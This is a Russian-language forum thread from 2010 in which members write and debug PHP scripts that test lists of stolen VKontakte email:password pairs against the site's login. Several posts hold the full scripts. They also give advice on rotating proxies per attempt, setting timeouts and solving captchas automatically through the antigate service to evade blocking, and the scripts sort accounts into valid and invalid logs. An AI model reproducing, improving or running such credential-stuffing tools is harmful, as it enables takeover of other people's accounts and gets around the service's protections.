чекер аккаунтов вконтакте

Обсуждение в разделе «PHP, PERL, MySQL, JavaScript», начал(-а) SkyLine32, 19.03.2010.

  1. SkyLine32

    SkyLine32 New Member

    Регистрация:
    1.03.2009
    Сообщения:
    150
    Одобрения:
    23
    Репутация:
    2
    Уважаемые кодеры!
    Вот я тут пытался сделать чекер акков вконтакте, но так как у меня мало опыта в php естественно многое не получается. :))
    Вот скрипт, суть такая. Забиваем акки в textarea, далее Send и скрипт выводит валидные акки. Но в моём скрипте максимум проверяется только один аккаунт, далее пишет:
    Cannot redeclare curl()
    Помогите разобраться!

    PHP:
    <form method="post" />
    <textarea cols=80 rows=18 name="akki-list">
    </textarea>
    <br />
    <input type="submit" value=" Send " />
    </form> 
    <?php
    if(isset($_POST['akki-list'])) {
    foreach(
    explode("\n",$_POST['akki-list']) as $line)
    {

    $pos strpos($line':');
    $email substr($line0$pos);
    $pos2 strpos($line':');
    $pass substr($line$pos2);
    $pass = @ereg_replace(":"""$pass);

    function 
    curl($url,$post)
    {
    $cfile 'cheker-cookies.txt';
    $ch curl_init();
    curl_setopt($chCURLOPT_USERAGENT"Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.4) Gecko/2008102920 AdCentriaIM/1.7 Firefox/3.0.4"); 
    curl_setopt($chCURLOPT_URL$url);
    curl_setopt($chCURLOPT_HEADER1);

    $proxy="ip:port";

    curl_setopt($chCURLOPT_PROXY$proxy); 
    curl_setopt($chCURLOPT_POSTFIELDS$post); 
    curl_setopt($chCURLOPT_RETURNTRANSFER1); 
    curl_setopt($chCURLOPT_COOKIEJAR$cfile); 
    curl_setopt($chCURLOPT_COOKIEFILE$cfile); 
    curl_setopt($chCURLOPT_FOLLOWLOCATION1); 
    curl_setopt($chCURLOPT_POST1);
    $result curl_exec($ch);
    curl_close($ch);
    return 
    $result;
    };

    $result curl('http://vkontakte.ru/','');

    if(
    strstr($result,'<title>В Контакте | Добро пожаловать</title>'))
    $result curl("http://vkontakte.ru/login.php","email=$email&pass=$pass");
    }
    if (
    preg_match('#(это Вы)(.*)#iU',$result,$avtoriz))
    echo 
    "$email:$pass - ok<br />";
    else
    echo 
    "$email<br>$pass - bad";
    unlink('cheker-cookies.txt');
    }
    }
    ?>
     
  2. Gifts

    Gifts Green member

    Регистрация:
    25.04.2008
    Сообщения:
    2 495
    Одобрения:
    808
    Репутация:
    391
    SkyLine32 Объявление функции сделайте вне цикла
     
    _________________________
  3. SkyLine32

    SkyLine32 New Member

    Регистрация:
    1.03.2009
    Сообщения:
    150
    Одобрения:
    23
    Репутация:
    2
    помогло спасибо! Только теперь появилась новая проблема, все аккаунты пишет что валидные, хотя для теста забивал в textarea и не рабочие...
     
    #3 SkyLine32, 19.03.2010
    В последний раз редактировалось: 19.03.2010
  4. SkyLine32

    SkyLine32 New Member

    Регистрация:
    1.03.2009
    Сообщения:
    150
    Одобрения:
    23
    Репутация:
    2
    PHP:
    <form method="post" />
    <textarea cols="80" rows="18" name="akki-list">
    </textarea>
    <br />
    <input type="submit" value=" Send " />
    </form> 
    <?php
    if(isset($_POST['akki-list'])) {

    function 
    curl($url,$post)
    {
    $cfile 'cheker-cookies.txt';
    $ch curl_init();
    curl_setopt($chCURLOPT_USERAGENT"Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.4) Gecko/2008102920 AdCentriaIM/1.7 Firefox/3.6"); 
    curl_setopt($chCURLOPT_URL$url);
    curl_setopt($chCURLOPT_HEADER1);

    $proxy="ip:port";

    curl_setopt($chCURLOPT_PROXY$proxy); 
    curl_setopt($chCURLOPT_POSTFIELDS$post); 
    curl_setopt($chCURLOPT_RETURNTRANSFER1); 
    curl_setopt($chCURLOPT_COOKIEJAR$cfile); 
    curl_setopt($chCURLOPT_COOKIEFILE$cfile); 
    curl_setopt($chCURLOPT_FOLLOWLOCATION1); 
    curl_setopt($chCURLOPT_POST1);
    $result curl_exec($ch);
    curl_close($ch);
    return 
    $result;
    };

    foreach(
    explode("\n",$_POST['akki-list']) as $line)
    {

    $pos strpos($line':');
    $email substr($line0$pos);
    $pos2 strpos($line':');
    $pass substr($line$pos2);
    $pass = @ereg_replace(":"""$pass);

    $result curl('http://vkontakte.ru/','');

    if(
    strstr($result,'<title>В Контакте | Добро пожаловать</title>'))
    $result curl("http://vkontakte.ru/login.php","email=$email&pass=$pass");
    }
    if (
    preg_match('#(это Вы)(.*)#iU',$result,$avtoriz))
    echo 
    "$email:$pass - ok<br />";
    else
    echo 
    "$email:$pass - bad<br />";
    unlink('cheker-cookies.txt');
    }
    }
    ?>
    Ну вот в принципе рабочий чекер на php. Но только работает странно. Раз работает, другой раз не работает... Может ли сайт вконтакте блокировать прокси при частой проверки паролей на валидность? Если да, то как это можно обойти?
     
  5. SkyLine32

    SkyLine32 New Member

    Регистрация:
    1.03.2009
    Сообщения:
    150
    Одобрения:
    23
    Репутация:
    2
    Что никто не знает как решить данную задачу?
     
  6. b3

    b3 Moderator

    Регистрация:
    5.12.2004
    Сообщения:
    1 808
    Одобрения:
    574
    Репутация:
    124
    Ты бы ротацию проксей прикрутил, в добавок проверок на работоспособность прокси, таймауты...

    Эта фраза убивает, тут где-то написано что тебе ОБЯЗАНЫ помогать, и если не ответили можно расценивать как незнание решения твоей проблемы ?
     
    _________________________
  7. SkyLine32

    SkyLine32 New Member

    Регистрация:
    1.03.2009
    Сообщения:
    150
    Одобрения:
    23
    Репутация:
    2
    Ну всё же я попросил совета а не сказал что мне все тут ОБЯЗАНЫ помогать... А я почти сутки сижу и в надежде на совет :D Ну слава богу хоть ты мне кое что посоветовал...

    Ротация прокси это имеется ввиду их смена?
    А таймаут это время между каждой проверкой 1 аккаунта? Если да то какое время нужно поставить?
     
  8. b3

    b3 Moderator

    Регистрация:
    5.12.2004
    Сообщения:
    1 808
    Одобрения:
    574
    Репутация:
    124
    Да, если к примеру вылезла капча, меняеш проксю, или если нет конекта к вкантакту (прокси мертвая). Также добавь проверку по curl_errno если ответ >0 значит нужно менять проксю.

    Это curl_setopt($ch, CURLOPT_TIMEOUT, 10); чтоб не ждать по минуте при медленной проксе.
     
    _________________________
  9. qwerra

    qwerra Elder - Старейшина

    Регистрация:
    21.04.2007
    Сообщения:
    273
    Одобрения:
    76
    Репутация:
    4
    Наверное надо как то так:

    PHP:
    <?
    set_time_limit(0);

    require_once 
    'config.ini';


    function 
    recognize($filename$apikey$is_verbose true$rtimeout 5$mtimeout 120$is_phrase 0$is_regsense 0$is_numeric 0$min_len 0$max_len 0)
    {
        if (!
    file_exists($filename))
        {
            if (
    $is_verbose) echo "file $filename not found\n";
            return 
    false;
        }
        
    $postdata = array(
            
    'method'    => 'post'
            
    'key'       => $apikey
            
    'file'      => '@'.$filename//полный путь к файлу
            
    'phrase'    => $is_phrase,
            
    'regsense'    => $is_regsense,
            
    'numeric'    => $is_numeric,
            
    'min_len'    => $min_len,
            
    'max_len'    => $max_len,
            
        );
        
    $ch curl_init();
        
    curl_setopt($chCURLOPT_URL,             'http://www.antigate.com/in.php');
        
    curl_setopt($chCURLOPT_RETURNTRANSFER,     1);
        
    curl_setopt($chCURLOPT_TIMEOUT,             60);
        
    curl_setopt($chCURLOPT_POST,                 1);
        
    curl_setopt($chCURLOPT_POSTFIELDS,         $postdata);
        
    $result curl_exec($ch);
        if (
    curl_errno($ch)) 
        {
            if (
    $is_verbose) echo "CURL returned error: ".curl_error($ch)."\n";
            return 
    false;
        }
        
    curl_close($ch);
        if (
    strpos($result"ERROR")!==false)
        {
            if (
    $is_verbose) echo "server returned error: $result\n";
            return 
    false;
        }
        else
        {
            
    $ex explode("|"$result);
            
    $captcha_id $ex[1];
            if (
    $is_verbose) echo "captcha sent, got captcha ID $captcha_id\n";
            
    $waittime 0;
            if (
    $is_verbose) echo "waiting for $rtimeout seconds\n";
            
    sleep($rtimeout);
            while(
    true)
            {
                
    $result file_get_contents('http://antigate.com/res.php?key='.$apikey.'&action=get&id='.$captcha_id);
                if (
    strpos($result'ERROR')!==false)
                {
                    if (
    $is_verbose) echo "server returned error: $result\n";
                    return 
    false;
                }
                if (
    $result=="CAPCHA_NOT_READY")
                {
                    if (
    $is_verbose) echo "captcha is not ready yet\n";
                    
    $waittime += $rtimeout;
                    if (
    $waittime>$mtimeout
                    {
                        if (
    $is_verbose) echo "timelimit ($mtimeout) hit\n";
                        break;
                    }
                    if (
    $is_verbose) echo "waiting for $rtimeout seconds\n";
                    
    sleep($rtimeout);
                }
                else
                {
                    
    $ex explode('|'$result);
                    if (
    trim($ex[0])=='OK') return trim($ex[1]);
                }
            }
            
            return 
    false;
        }
    }

    function 
    GetList($filename){
    if(!
    file_exists($filename)||filesize($filename)==0)return -1;
    $handle fopen($filename,'r');
    $source fread($handle,filesize($filename));
    fclose($handle);
    $source str_replace(array("\r","\t"),"",$source);
    $source explode("\n",$source);
    return 
    $source;
    }

    function 
    ToLog($str)
    {
    global 
    $log_handle;
    fwrite($log_handle,$str);
    echo 
    $str;
    flush();
    }

    function 
    Login($login,$password)
    {
    $init curl_init();
    curl_setopt($initCURLOPT_URL'http://vkontakte.ru/login.php');
    curl_setopt($initCURLOPT_POST1);
    curl_setopt($initCURLOPT_TIMEOUT15);
    curl_setopt($initCURLOPT_POSTFIELDS'op=a_login_attempt');
    curl_setopt($initCURLOPT_RETURNTRANSFER1);
    curl_setopt($initCURLOPT_HEADER1);
    curl_setopt($initCURLOPT_USERAGENT'Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.6) Gecko/2009011913 Firefox/3.0.6');
    $source curl_exec($init);
    curl_close($init);
    if(
    strstr($source,'Enter code')){
    global 
    $use_AC,$captcha_file;
    if(
    $use_AC)
    {
    preg_match('|\{"ok":-2,"captcha_sid":"(\d+)","text":"Enter code"\}|'$source$cid);
    $img fopen($captcha_file,"w");
    fwrite($img,file_get_contents("http://vkontakte.ru/captcha.php?s=1&sid=$cid[1]"));
    fclose($img);
    $captcha_code=recognize($captcha_file,$AC_key,false);
    $init curl_init();
    curl_setopt($initCURLOPT_URL'http://vkontakte.ru/login.php');
    curl_setopt($initCURLOPT_POST1);
    curl_setopt($initCURLOPT_TIMEOUT15);
    curl_setopt($initCURLOPT_POSTFIELDS"op=a_login_attempt&captcha_sid=$cid[1]&captcha_key=$captcha_code");
    curl_setopt($initCURLOPT_RETURNTRANSFER1);
    curl_setopt($initCURLOPT_HEADER1);
    curl_setopt($initCURLOPT_USERAGENT'Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.6) Gecko/2009011913 Firefox/3.0.6');
    $source curl_exec($init);
    curl_close($init);
    return array(
    'captcha_block',null);
    }
    else
    return array(
    'captcha_block',null);
    }

    $init curl_init();
    curl_setopt($initCURLOPT_URL'http://login.vk.com/?act=login');
    curl_setopt($initCURLOPT_POST1);
    curl_setopt($initCURLOPT_TIMEOUT15);
    curl_setopt($initCURLOPT_POSTFIELDS,'email='.$login.'&pass='.$password.'&expire=&vk=');
    curl_setopt($initCURLOPT_RETURNTRANSFER1);
    curl_setopt($initCURLOPT_HEADER1);
    curl_setopt($initCURLOPT_USERAGENT'Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.6) Gecko/2009011913 Firefox/3.0.6');
    $source curl_exec($init);
    curl_close($init);
    if(
    preg_match('|<input type=\'hidden\' name=\'s\' id=\'s\' value=\'(\w+)\' />|'$source$rsid))
    return array(
    'valid',$rsid[1]);
    else 
    return array(
    'invalid',null);
    }




    $log_handle fopen($log_file,"a+");
    $good_handle fopen($good_file,"a+");
    $bad_handle fopen($bad_file,"a+");
    $accounts GetList($vk_accs);
    if(
    $accounts==-1)
    die(
    "\r\n file accounts not found or clean \r\n");
    $val_acc = (count($accounts)-1);

    for(
    $i=0;$i<=$val_acc;$i++)
    {
    if(
    $accounts[$i]=='')
    continue;
    list(
    $mail,$pass) = explode($delimeter,$accounts[$i]);
    $res Login($mail,$pass);
    switch(
    $res[0])
    {
    case 
    'captcha_block':
    if(!
    $use_AC){
    ToLog("$mail$delimeter$pass [captcha block]\r\n");
    }
    else
    $i--;
    break;

    case 
    'valid':
    ToLog("$mail$delimeter$pass [valid!]\r\n");
    fwrite($good_handle,"$mail$delimeter$pass\r\n");
    break;

    case 
    'invalid':
    ToLog("$mail$delimeter$pass [invalid]\r\n");
    fwrite($bad_handle,"$mail$delimeter$pass\r\n");
    break;

    }
    }
    fclose($log_handle);
    fclose($good_handle);
    fclose($bad_handle);
    ?>
     
  10. SkyLine32

    SkyLine32 New Member

    Регистрация:
    1.03.2009
    Сообщения:
    150
    Одобрения:
    23
    Репутация:
    2
    Вроде чекает норм, для меня для начинающего в области php сойдёт :D
    Всем спасибо за помощь!

    PHP:
    <!DOCTYPE html PUBLIC '-//W3C//DTD XHTML 1.0 Transitional//EN'
    'http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd'>
    <html xmlns='http://www.w3.org/1999/xhtml'>
    <head>
    <title>чекер вконтакте</title>
    <style type='text/css' media='all'>
    body,html {
        background:#004243;
        font-family: verdana;
        font-size:10px;
        color:#2D8AB9;
    }
    textarea {
        background:#008A8C;
        font-family: verdana;
        font-size:10px;
        color: #FFFFFF;
    }
    #ok {
        color: #00A437;
        font-family: Verdana;
        font-size: 10px;
        background-color: #111;
        border-color: #002E3B;
        cursor:pointer;
    }
    </style>
    </head>
    <body>
    <form method="post" />
    <textarea cols="100" rows="25" name="akki-list">
    </textarea>
    <br /><br />
    <input type="submit" value=" Send " id='ok' />
    </form>
    <form action="http://best.vg/" method="post" />
    <input type="submit" value=" © " id='ok' />
    </form>
    <?php
        set_time_limit
    (0);

        
    $cookies     =    'cookies.txt';
        if(isset(
    $_POST['akki-list']))
    {
    function 
    curl($url,$post)
    {
        
    $ch curl_init(); 
        
    curl_setopt($chCURLOPT_URL$url); 
        
    curl_setopt($chCURLOPT_RETURNTRANSFER1);
        
    curl_setopt($chCURLOPT_COOKIEJAR$cookies);
        
    curl_setopt($chCURLOPT_COOKIEFILE$cookies);
        
    curl_setopt($chCURLOPT_HEADER1); 
        
    curl_setopt($chCURLOPT_POSTFIELDS$post);
        
    curl_setopt($chCURLOPT_USERAGENT'Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.4) Gecko/2008102920 AdCentriaIM/1.7 Firefox/3.6');
        @
    curl_setopt($chCURLOPT_FOLLOWLOCATION1); 
        
    curl_setopt($chCURLOPT_PROXY$proxy.':'.$port);
        
    //curl_setopt($ch, CURLOPT_TIMEOUT, 10);
        
    $result curl_exec($ch);
        
    curl_close($ch);
        return 
    $result;
    };
    foreach(
    explode("\n",$_POST['akki-list']) as $line)
    {
        
    $pos    =    strpos($line':');
        
    $email    =    substr($line0$pos);
        
    $pos2    =    strpos($line':');
        
    $pass    =    substr($line$pos2);
        
    $pass    =    @ereg_replace(":"""$pass);

        
    $file     =     file('proxy.txt');
        
    $prox     =     explode(':'$file[0]);
        
    $proxy     =     $prox['0'];
        
    $port     =     $prox['1'];
        
        
    $newp str_replace($proxy.':'.$port''file_get_contents('proxy.txt'));
    if(
    $prf fopen('proxy.txt''w+'))
    {
        
    fwrite($prf$newp);
        
    fclose($prf);

        
    $result    =    curl('http://vkontakte.ru/','');
    if(
    strstr($result,'<title>В Контакте | Добро пожаловать</title>'))
    {
        
    $result curl("http://vkontakte.ru/login.php","email=$email&pass=$pass");
    }
    if (
    preg_match('#(это Вы)(.*)#iU',$result,$avtoriz))
        echo 
    "<font color=green>$email:$pass - ok - $proxy:$port</font><br />";
        else
        echo 
    "<font color=red>$email:$pass - bad - $proxy:$port</font><br />";
    }
    else {echo 
    'хз';}
    }
    }
    ?>
     
  11. Life7

    Life7 Banned

    Регистрация:
    14.06.2009
    Сообщения:
    200
    Одобрения:
    54
    Репутация:
    0
    норм. но жаль что не ехе...
     
  12. SkyLine32

    SkyLine32 New Member

    Регистрация:
    1.03.2009
    Сообщения:
    150
    Одобрения:
    23
    Репутация:
    2
    ну если подаждёшь с недельку, может смогу на delphi написать :D
     
  13. nuBo

    nuBo Elder - Старейшина

    Регистрация:
    29.12.2008
    Сообщения:
    186
    Одобрения:
    86
    Репутация:
    31
    xampp не поддерживает curl ?
     
  14. SkyLine32

    SkyLine32 New Member

    Регистрация:
    1.03.2009
    Сообщения:
    150
    Одобрения:
    23
    Репутация:
    2
    Видимо нет, проверь
    PHP:
    <?php
    phpinfo
    (); 
    ?>
     
  15. Deathdreams

    Deathdreams Elder - Старейшина

    Регистрация:
    8.11.2008
    Сообщения:
    477
    Одобрения:
    106
    Репутация:
    8
    а что, непонятно ?

    нужно раскомментировать расширение curl в php.ini

    100500 раз поднимали этот вопрос
     
    Это одобряют 2 пользоветелей.
  16. SkyLine32

    SkyLine32 New Member

    Регистрация:
    1.03.2009
    Сообщения:
    150
    Одобрения:
    23
    Репутация:
    2
    ну и соответственно иметь файлик php_curl.dll в \ext ну или где то там...xampp вообще не разу не юзал...
     
  17. nuBo

    nuBo Elder - Старейшина

    Регистрация:
    29.12.2008
    Сообщения:
    186
    Одобрения:
    86
    Репутация:
    31
    Deathdreams спасибо.
    Все акки, кидает в невалид. :confused:
     
  18. SkyLine32

    SkyLine32 New Member

    Регистрация:
    1.03.2009
    Сообщения:
    150
    Одобрения:
    23
    Репутация:
    2
    Короче суть такая... Сколько ты аккаунтов хочешь прочекать - столько у тебя должно быть рабочих прокси! На каждый аккаунт берётся по 1й прокси.
     
  19. nuBo

    nuBo Elder - Старейшина

    Регистрация:
    29.12.2008
    Сообщения:
    186
    Одобрения:
    86
    Репутация:
    31
    SkyLine32 ты сам то скрипт проверял?
     
  20. SkyLine32

    SkyLine32 New Member

    Регистрация:
    1.03.2009
    Сообщения:
    150
    Одобрения:
    23
    Репутация:
    2
    ну как бы делал для себя... может и есть косяки, но я в php ещё не очень шарю, если ты шаришь нормально, доведи до ума скрипт и выложи сюда - люди оценят :)
     
Загрузка...
Похожие темы
  1. Ответы:
    14
    Просмотры:
    1 320
  2. Ответы:
    7
    Просмотры:
    2 398
  3. Ответы:
    1
    Просмотры:
    102
  4. Ответы:
    3
    Просмотры:
    879
  5. Ответы:
    2
    Просмотры:
    355
  6. Ответы:
    0
    Просмотры:
    412
  7. Ответы:
    4
    Просмотры:
    632